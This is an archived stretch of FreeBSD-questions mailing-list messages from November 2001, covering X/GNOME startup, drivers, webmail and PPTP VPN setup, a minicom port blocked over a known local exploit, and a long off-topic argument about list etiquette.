05:09:37 -0800 (PST) Received: from verizon.net (pool-64-223-149-190.man.east.verizon.net [64.223.149.190]) by smtppop3pub.verizon.net with ESMTP ; id HAA62682475 Wed, 21 Nov 2001 07:09:13 -0600 (CST) Message-ID: <3BFBA79F.6080801@verizon.net> Date: Wed, 21 Nov 2001 08:09:51 -0500 From: Brian Jackson Reply-To: b.k.jackson@verizon.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2 X-Accept-Language: en-us MIME-Version: 1.0 To: Charles Burns Cc: questions@freebsd.org Subject: Re: Quick, unimportant X question References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Charles - You should have a file called .xinitrc in your home directory containing the full path to gnome-session: more .xinitrc /usr/X11R6/bin/gnome-session Then, after you login, you can start X with the startx command See the startx man page : NAME startx - initialize an X session SYNOPSIS startx [ [ client ] options ... ] [ -- [ server ] option ... ] DESCRIPTION The startx script is a front end to xinit.......... Brian Charles Burns wrote: > "XFree86" seems to execute /just/ X, the server, but not Gnome. > According to the handbook, it should run X with Gnome if I altrer > .xinitrc appropriately. I did and put on in /root and one in > /etc/X11/xinit (or something like that) and it seems to completely > ignore the entry. > > Running "xinit", however, runs Gnove fine. Now, X is working great so > not problem here, but, why? I just happenned to try 'xinit' as a > command for the heck of it. I don't understand the whole way X works > yet. The only GUI that I have used for years is... Well, you know... > > Charles Burns -- b.k.jackson@verizon.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 5:10:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by hub.freebsd.org (Postfix) with ESMTP id 6669F37B418 for ; Wed, 21 Nov 2001 05:10:40 -0800 (PST) Received: from trine (213-187-161-49.dd.nextgentel.com [213.187.161.49]) by mail.broadpark.no (Postfix) with ESMTP id D5D5A7EE0; Wed, 21 Nov 2001 14:10:38 +0100 (MET) From: "Kjell" To: "Vladimir Lushnik" <_vofka@mail.ru> Date: Wed, 21 Nov 2001 13:16:41 -0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Help ! i815 and AC97 Reply-To: kjell@la3sg.net Cc: freebsd-questions@FreeBSD.ORG Message-ID: <3BFBA939.13319.171017D@localhost> In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Hi ! > Where get driver for i815 grafic adapter and AC97 sound card > You may find the following URLs helpful: http://www.osfaq.com/article.php3?sid=67 http://www.rauchmedien.com/support/articles/article.htm?supportid=11 gl from Kjell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 5:11:50 2001 Delivered-To: freebsd-questions@freebsd.org Received: from y3k.shacknet.nu (morr0672.gti.net [208.216.122.72]) by hub.freebsd.org (Postfix) with ESMTP id C098737B405 for ; Wed, 21 Nov 2001 05:11:45 -0800 (PST) Received: from shacknet.nu (localhost.gti.net [127.0.0.1]) by y3k.shacknet.nu (8.11.6/8.11.6) with SMTP id fAKDIjY03915 for ; Tue, 20 Nov 2001 08:18:46 -0500 (EST) (envelope-from y3k@gti.net) Received: from 208.216.122.72 (SquirrelMail authenticated user mark) by y3k.shacknet.nu with HTTP; Tue, 20 Nov 2001 08:18:46 -0500 (EST) Message-ID: <3364.208.216.122.72.1006262326.squirrel@y3k.shacknet.nu> Date: Tue, 20 Nov 2001 08:18:46 -0500 (EST) Subject: Re: home pc use From: "Mark Yeck" To: questions@FreeBSD.ORG In-Reply-To: References: X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG (Gary W. Swearingen) writes: > BTW, I haven't minded your messages at all, even though I too hate M# > and the clueless consumers who allowed M$ to take twenty years to > incorporate ancient technology in the creation of a halfways-decent OS. > I suppose OT messages are worthy of complaint, but I haven't seen much > effort to move this discussion elsewhere; it's unfair to get in more OT > jabs and then ask you to stop. > > Your posts are well worded and thought-provoking and I hope they result > in some cross-fertilization of ideas and fill in some of the many blind > spots that both you and we have. (And you definitely seem to be > wearing some blinders, some of which I'm sure some more Unix experience > will remove.) I've wished that more Unix people would have read "The > Unix Hater's Handbook" since it came out in 1994. Our problems are > only partially from our blinders; we mostly suffer from lack of > manpower. I agree with all of this, and couldn't have said it better. Most of his criticisms appear to have been meant to be constructive, and he appears willing and capable of making a contribution. If I received as much grief as he has here, I would have left a long time ago. -mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 5:16:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from y3k.shacknet.nu (morr0672.gti.net [208.216.122.72]) by hub.freebsd.org (Postfix) with ESMTP id 36A8437B418 for ; Wed, 21 Nov 2001 05:16:48 -0800 (PST) Received: from shacknet.nu (localhost.gti.net [127.0.0.1]) by y3k.shacknet.nu (8.11.6/8.11.6) with SMTP id fAKDNiY03936; Tue, 20 Nov 2001 08:23:45 -0500 (EST) (envelope-from y3k@gti.net) Received: from 208.216.122.72 (SquirrelMail authenticated user mark) by y3k.shacknet.nu with HTTP; Tue, 20 Nov 2001 08:23:45 -0500 (EST) Message-ID: <3395.208.216.122.72.1006262625.squirrel@y3k.shacknet.nu> Date: Tue, 20 Nov 2001 08:23:45 -0500 (EST) Subject: Re: Sqwebmail Installed - What Now? From: "Mark Yeck" To: drew@mykitchentable.net In-Reply-To: <001101c17056$872a01a0$0301a8c0@bigdaddy> References: <001101c17056$872a01a0$0301a8c0@bigdaddy> Cc: questions@freebsd.org X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > I have installed sqwebmail from the ports collection and can >successfully get the login page but do not know where to go from here. >Searches on Google and the list archives have not produced any help. Can >anyone point me to documentation on what I need to do to configure >sqwebmail? I can't login using my account and am sure I must do some >configuring before it works. I am using the Courier IMAP daemon >successfully with an MS Outlook Express client. I want to use >sqwebmail instead. If you insist on sqwebmail, I briefly attempted to use it and couldnt figure it out. If you just need some type of webmail, I'd recommend squirrelmail (www.squirrelmail.org). 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 5:49:14 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 46C1437B405 for ; Wed, 21 Nov 2001 05:49:08 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALDn5H04203; Wed, 21 Nov 2001 14:49:05 +0100 (CET) Message-ID: <000f01c17293$494df7d0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: Cc: References: <15354.60877.44081.17515@guru.mired.org><019701c17224$013e6520$0a00000a@atkielski.com><15355.2770.644343.846234@guru.mired.org><01e201c17234$24bc2360$0a00000a@atkielski.com> <15355.6508.841314.798412@guru.mired.org> <005001c17288$c17d0800$0a00000a@atkielski.com> <3BFBA123.E3BBF104@globalnet.co.uk> <007601c1728a$2c67fbb0$0a00000a@atkielski.com> <3BFBA47C.5691D8D0@globalnet.co.uk> Subject: Re: home pc use Date: Wed, 21 Nov 2001 14:48:59 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John writes: > Does that go for other software in your list too? No. > So you are working around the problem for them. Yes, if they pay me enough to make it worth my while. > In your own words "Incompatible | conflicting > != broken", or does that only hold for hardware? It holds for everything, but Netscape 4.x is not only incompatible with W3C standards, but it is also just plain broken in many ways. It crashes mysteriously or hangs on a fairly regular basis on those hellish occasions when I am forced to use it, for example. > Why then aren't you willing to work around the > problems you are having rather than just complaining > about FreeBSD/KDE/whatever? The mysterious boot, if that is what you have in mind, has not happened again, so there is nothing to work around. As for other problems, that is exactly what I have done, but that has not stopped me from speaking of them. > I really would like to see this thread completely > finished so that this list can get back to what it > used to be used for. I never used to find every > post useful, but it was never tedious. The rather obvious question, of course, is why you are posting to--and thus prolonging--a thread that you find tedious, and that you'd like to see finished. I simply don't read threads that I do not find interesting. It is much more logical and efficient than posting my complaints about their existence to them. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6: 1:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from frontend1.aha.ru (fish.zenon.net [213.189.198.214]) by hub.freebsd.org (Postfix) with ESMTP id EF53737B417 for ; Wed, 21 Nov 2001 06:01:21 -0800 (PST) Received: from [195.2.83.131] (HELO backend1.aha.ru) by frontend1.aha.ru (CommuniGate Pro SMTP 3.5b9) with ESMTP id 63892848 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 17:01:20 +0300 Received: from [62.105.153.79] (HELO dima) by backend1.aha.ru (CommuniGate Pro SMTP 3.4.8/D) with SMTP id 33819609 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 17:01:20 +0300 Message-ID: <005b01c17295$3ea13390$1000020a@dima> From: "Volosenkov Dmitry" To: Subject: minicom ???? Date: Wed, 21 Nov 2001 17:03:06 +0300 MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG bash-2.05# cd /usr/ports/comms/minicom/ bash-2.05# make ===> minicom-1.83.1_2 is forbidden: Local exploit yielding setuid uucp. what terminal emulator should we use? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6: 4: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from zaphod.euronet.nl (zaphod.euronet.nl [194.134.128.241]) by hub.freebsd.org (Postfix) with ESMTP id 410FE37B416 for ; Wed, 21 Nov 2001 06:04:01 -0800 (PST) Received: (from ernst@localhost) by zaphod.euronet.nl (8.11.6/8.11.6) id fALE3vx03943; Wed, 21 Nov 2001 15:03:57 +0100 (CET) (envelope-from ernst) Message-Id: <200111211403.fALE3vx03943@zaphod.euronet.nl> Content-Type: text/plain; charset="iso-8859-1" From: Ernst de Haan To: Bernie Johnson , freebsd-questions@freebsd.org Subject: Re: Tmcat Java servlet Date: Wed, 21 Nov 2001 15:03:57 +0100 X-Mailer: KMail [version 1.3] References: <20011108175028.83969.qmail@web11808.mail.yahoo.com> In-Reply-To: <20011108175028.83969.qmail@web11808.mail.yahoo.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Tried www/jakarta-tomcat ? Ernst On Thursday 08 November 2001 18:50, Bernie Johnson wrote: > ANyone know where i can find the port tomcat java > servlet??? > > Bernie-- > > --- Mario Doria wrote: > > Hello, > > > > I want to chroot my users to their home directories > > when they login via > > SFTP. With FTP I add their usernames to > > /etc/ftpchroot and that's it. How > > can it be done with SFTP? > > > > Thanks, > > > > > > Mario Doria > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of > > the message > > __________________________________________________ > Do You Yahoo!? > Find a job, post your resume. > http://careers.yahoo.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Ernst de Haan EuroNet Internet B.V. "Come to me all who are weary and burdened and I will give you rest" -- Jesus Christ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:13:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smnolde.com (rr-163-54-1.atl.mediaone.net [24.163.54.1]) by hub.freebsd.org (Postfix) with ESMTP id 7AB0F37B405 for ; Wed, 21 Nov 2001 06:13:31 -0800 (PST) Received: from bsd.smnolde.com ([192.168.10.7] helo=bsd) by smnolde.com with esmtp (Exim 3.30 #1) id 166Y82-0003wP-00; Wed, 21 Nov 2001 09:13:30 -0500 Date: Wed, 21 Nov 2001 09:13:28 -0500 (EST) From: Scott Nolde To: Volosenkov Dmitry Cc: Subject: Re: minicom ???? In-Reply-To: <005b01c17295$3ea13390$1000020a@dima> Message-ID: <20011121091229.U99516-100000@bsd.smnolde.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You may uncomment the FORBIDDEN line in the Makefile to build it if you're aware of the local exploit. Otherwise, cu is a good option for serial communication, too. - Scott smacked into the keyboard previously by owner-freebsd-questions@FreeBSD.ORG: >Date: Wed, 21 Nov 2001 17:03:06 +0300 >From: Volosenkov Dmitry >To: freebsd-questions@FreeBSD.ORG >Subject: minicom ???? > >bash-2.05# cd /usr/ports/comms/minicom/ >bash-2.05# make >===> minicom-1.83.1_2 is forbidden: Local exploit yielding setuid uucp. > >what terminal emulator should we use? > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > Scott Nolde GPG Key 0xD869AB48 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:15: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay2.ectaco.ru (relay2.ectaco.ru [212.119.190.210]) by hub.freebsd.org (Postfix) with ESMTP id 85D1337B405 for ; Wed, 21 Nov 2001 06:14:58 -0800 (PST) Received: from joker.edc (IDENT:nobody@joker.edc [192.168.0.75]) by relay2.ectaco.ru (8.9.3/8.9.3) with SMTP id RAA78985 for freebsd-questions@FreeBSD.ORG; Wed, 21 Nov 2001 17:16:23 +0300 (MSK) (envelope-from maryk@ectaco.com) Date: Wed, 21 Nov 2001 17:16:23 +0300 (MSK) Message-Id: <200111211416.RAA78985@relay2.ectaco.ru> X-Authentication-Warning: relay2.ectaco.ru: IDENT:nobody@joker.edc [192.168.0.75] didn't use HELO protocol Mime-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit From: Anastasia Schultz To: Subject: Partnership Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, first let us introduce ourselves. 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According to my ISP, this is standard procedure for him; he > > claims Linux can handle this sort of setup just fine, although he hasn't > > shown me a working example. At any rate, I'll have to convince him to > > hand me out another IP in the gateway's netblock. > > I dunno what he's smoking, but it must be good stuff! :) > > Anyway, I suspect I am preaching to the converted. What surprises me is > that an ISP (whose one and only order of business is IP networking) is > apparently confused about how it should work! Ahem, well, in my experiences, ISP are usually staffed with the most under-knowledged , technologically incompetent IT staff. Take one *excellent* example of how not to do things. I just set up two DSL links. They gave us a static IP, and their internal network (over DSL) is 10.10.x.x. That sounds just peachy, right? Well, think again. During PPP negotiation, I get my IP (209.167.x.x) and my default gateway, which is 171.68.187.1. The only problem is that this IP is in a netblock owned by Cisco (and according to hostnames in a traceroute from a different ISP, it's somewhere in the Bay area, which is about 3000 miles away from me.) I figure the only reason this works is that none of their customers are running routing daemons. (I would hate to see what would happen if I started up routed and accidentally dropped Cisco off the 'net. I asked the tech dude and he said "oh, don't worry, that's on our private network". Yeah, whatever. So, unless you have the luxury of working with an ISP that employs staff who know the basics of IP networking, watch out for wierd and wacky configurations that work, even though they shouldn't. -- Matt Emmertonk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:19:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id 6E6B937B41A for ; Wed, 21 Nov 2001 06:19:31 -0800 (PST) Received: from [212.238.77.116] (helo=buffy.raggedclown.net) by post.mail.nl.demon.net with esmtp (Exim 3.33 #1) id 166YDq-000DfF-00 for questions@FreeBSD.ORG; Wed, 21 Nov 2001 14:19:30 +0000 Received: by tanya.raggedclown.net (Postfix on SuSE Linux 7.3 (i386), from userid 500) id 570F610FA; Wed, 21 Nov 2001 15:19:13 +0100 (CET) Date: Wed, 21 Nov 2001 15:19:13 +0100 From: Cliff Sarginson To: questions Subject: Re: home pc use Message-ID: <20011121151913.A15268@raggedclown.net> References: <002c01c1724f$bf93c580$1401a8c0@tedm.placo.com> <004901c17287$9eff56d0$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <004901c17287$9eff56d0$0a00000a@atkielski.com> User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Tell you what guys, this thread is now at 75 messages. Why not just agree that at message 100 it will have reached maturity and can be gracefully retired ? I probably have an opinion on all of this, but I have forgotten what the original question was... -- Regards Cliff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:25:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by hub.freebsd.org (Postfix) with ESMTP id D4B4337B417 for ; Wed, 21 Nov 2001 06:25:31 -0800 (PST) Received: from viewp.demon.co.uk ([194.222.47.29]) by anchor-post-34.mail.demon.net with esmtp (Exim 2.12 #1) id 166YJd-000K2N-0Y; Wed, 21 Nov 2001 14:25:30 +0000 Received: from localhost (humbug@localhost) by viewp.demon.co.uk (8.11.1/8.11.1) with ESMTP id fALEPU528687; Wed, 21 Nov 2001 14:25:30 GMT (envelope-from humbug@honeybourne.viewp.co.uk) Date: Wed, 21 Nov 2001 14:25:29 +0000 (GMT) From: Humbug the Cat To: Thor Legvold Cc: freebsd-questions@freebsd.org Subject: Re: Network setup questions In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Thor, PPTP vpn's use two communication channels from your m/c (client) to the isp m/c (server) from the client to the server there is a tcp:1723 control session and from the server to the client there is a gre data session. you need to make sure that you are allowing these through your firewall, and once the session is esablished your traffic to the internet will be from the ng0 interface. HTH Richard On Wed, 21 Nov 2001, Thor Legvold wrote: > Hi Greg, > > >First, don't cross-post; stick to freebsd-questions for now. > > Done. > > >Second, what is your question? > > How to set up mpd-netgraph to connect over a wireless wan with pptp to an > ISP. Failing that, how to set up any available pptp client to do the same - > get on the net via my ISP. > > Details: > The existing WAN was setup by the ISP so that *any* WaveLan cards (which > they provide as part of their broadband package) within range of their > antennae would automatically get an IP via DHCP (10.10.2.0/24 range). They > in turn run NAT on the subnet, thus giving anyone with a WaveLan card direct > internet access, no other authorization or configuration needed. As the ISP > is new and noone else in the area offers or carries this equipment, it's > worked fine up to now. I set my home LAN up to use this and it's worked > fine. > > Because the situation is changing, the ISP is switching over to another > system (VPN). They have a linux PPTP server at 10.10.1.1 (i.e. still on > their local WAN), all WaveLan cards still get an internal IP (10.10.2.0/24) > via DHCP as before, but their NAT is now turned off/disabled. So anyone with > a WaveLan card can still get an internal IP, but you can't get to the > internet or do anything without going through the VPN/PPTP server. > > In order to access the internet now, one has to (after doing the DHCP stuff > mentioned above to get on the local WAN): contact/connect to the PPTP server > (10.10.1.1), login and authorize (chap and/or pap) and dynamically receive a > *routable* IP (as I recall they have 213.225.121.0/24 range available) from > the pool the ISP owns. Then one (as far as I know) is online and can use the > internet as usual. > > I had/have my home LAN set up on 192.168.128.0/24 and use the FBSD box as a > gateway/dual homed host for the LAN, using a dc0 card for the LAN and the > WaveLan (wi0) for the internet (outside network). I run ipfw and natd to > allow all the machines at home acccess to the net via the FBSD gateway. I've > had some small problems with natd & ipfw (natd complains about "cannot write > back" in some cases), and am currently looking into the ruleset to fix this. > I've tried testing my setup with closed and open firewall, but cannot seem > to get anywhere. > > I can post my mpd.conf, mpd.links and mpd.log if that would help. > > Regards, > Thor > > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:27:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10401.mail.yahoo.com (web10401.mail.yahoo.com [216.136.130.93]) by hub.freebsd.org (Postfix) with SMTP id C6F3137B405 for ; Wed, 21 Nov 2001 06:27:53 -0800 (PST) Message-ID: <20011121142753.25140.qmail@web10401.mail.yahoo.com> Received: from [64.90.179.71] by web10401.mail.yahoo.com via HTTP; Wed, 21 Nov 2001 06:27:53 PST Date: Wed, 21 Nov 2001 06:27:53 -0800 (PST) From: Dylan Carlson Reply-To: absinthe@pobox.com Subject: List changes (was: home pc use) To: Cliff Sarginson , questions In-Reply-To: <20011121151913.A15268@raggedclown.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Agree. We really need a "freebsd-discussion" list to move these threads to. They're valid discussions, however, the purpose of this list is to answer people's questions (unless I misunderstood the charter). The questions list should be moderated. There's way too much noise. As much as I would love to help people, this list is impossible to sort the real questions from the countless opinions and rhetoric. I'm very close to unsubscribing. I've said this once already, we really need to consider using the format of the Sun Manager's list: start moderating, using SUMMARY subject lines, and potentially monthly SUMMARY digests. If you guys have never subscribed to a well-managed list like Sun Managers before, you should do so and see how well it works. Otherwise, everyone is wasting a lot of time on this list and people aren't getting the help they might otherwise need. My $1.63. I'd be happy to help out taking turns moderating or doing my part. Cheers, --- Cliff Sarginson wrote: > Tell you what guys, this thread is now at 75 messages. > Why not just agree that at message 100 it will have reached > maturity and can be gracefully retired ? > > I probably have an opinion on all of this, but I have forgotten > what the original question was... > > -- > Regards > Cliff > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:30:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hemi.metrotv.com (hemi.metrotv.com [66.100.208.35]) by hub.freebsd.org (Postfix) with SMTP id 552DB37B405 for ; Wed, 21 Nov 2001 06:30:55 -0800 (PST) Received: (qmail 3931 invoked by uid 1009); 21 Nov 2001 14:32:49 -0000 Received: from msp-65-25-204-129.mn.rr.com (HELO ?10.0.1.9?) (65.25.204.129) by hemi.metrotv.com with SMTP; 21 Nov 2001 14:32:49 -0000 User-Agent: Microsoft-Entourage/10.0.0.1302 Date: Wed, 21 Nov 2001 08:31:32 -0600 Subject: Re: Sqwebmail Installed - What Now? From: Eric Long To: Cc: Message-ID: In-Reply-To: <3395.208.216.122.72.1006262625.squirrel@y3k.shacknet.nu> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >> I have installed sqwebmail from the ports collection and can >> successfully get the login page but do not know where to go from here. >> Searches on Google and the list archives have not produced any help. Can >> anyone point me to documentation on what I need to do to configure >> sqwebmail? I can't login using my account and am sure I must do some >> configuring before it works. I am using the Courier IMAP daemon >> successfully with an MS Outlook Express client. I want to use >> sqwebmail instead. > > If you insist on sqwebmail, I briefly attempted to use it and couldnt figure > it out. If you just need some type of webmail, I'd recommend squirrelmail > (www.squirrelmail.org). It's easy to configure and works with Courier IMAP. http://inter7.com/sqwebmail/ You need to be running a mailserver with Maildir support, I assume you're already doing so. Are you running the courier mail server or qmail? Reading the INSTALL file within the sqwebmail archive will answer just about all of your questions. There are at least a dozen configuration flags that you must use in order to get sqwebmail to work properly on your system. I don't think the default config/install has ever worked for me. -Eric To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:31:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from post.mail.nl.demon.net (post-11.mail.nl.demon.net [194.159.73.21]) by hub.freebsd.org (Postfix) with ESMTP id 9991A37B416 for ; Wed, 21 Nov 2001 06:31:09 -0800 (PST) Received: from [212.238.77.116] (helo=buffy.raggedclown.net) by post.mail.nl.demon.net with esmtp (Exim 3.33 #1) id 166YP6-000ENx-00 for freebsd-questions@freebsd.org; Wed, 21 Nov 2001 14:31:08 +0000 Received: by tanya.raggedclown.net (Postfix on SuSE Linux 7.3 (i386), from userid 500) id ED2DE10FA; Wed, 21 Nov 2001 15:31:06 +0100 (CET) Date: Wed, 21 Nov 2001 15:31:06 +0100 From: Cliff Sarginson To: freebsd-questions@freebsd.org Subject: Big Fat Book arrives in Rotterdam, Holland Message-ID: <20011121153106.A17203@raggedclown.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You may be cheered to know that the Donner Bookshop in Rotterdam has several copies of a huge book at (for Holland) a reasonable price. Yes FreeBSD has been Uunleashed. Curiously it has a publication date of 2002 written in it. Be warned, you will need to rent a dump-truck to carry it home. Now there is no excuse to not RTFM, plus it will help with any body-building program you are enrolled on when you pick it up. -- Regards Cliff To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 6:47:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from cisco.com (sword.cisco.com [161.44.208.100]) by hub.freebsd.org (Postfix) with ESMTP id C1F6637B405 for ; Wed, 21 Nov 2001 06:47:41 -0800 (PST) Received: from sjt-u10.cisco.com (sjt-u10.cisco.com [10.85.30.63]) by cisco.com (8.8.5-Cisco.1/8.8.8) with ESMTP id JAA09323; Wed, 21 Nov 2001 09:47:40 -0500 (EST) Received: (sjt@localhost) by sjt-u10.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) id JAA20970; Wed, 21 Nov 2001 09:47:40 -0500 (EST) Date: Wed, 21 Nov 2001 09:47:40 -0500 From: Steve Tremblett To: Anthony Atkielski Cc: pan , freeBSD-questions Subject: Re: How do I set vidcontrol modes? Message-ID: <20011121094740.B20775@sjt-u10.cisco.com> References: <014d01c1721d$74e0c470$0a00000a@atkielski.com> <20011120164631.B11629@museum.rain.com> <01bd01c17227$0da4f510$0a00000a@atkielski.com> <035e01c1722a$8a37f340$2813933f@cat> <01de01c17230$c3ccf370$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <01de01c17230$c3ccf370$0a00000a@atkielski.com>; from anthony@atkielski.com on Wed, Nov 21, 2001 at 03:03:44AM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List 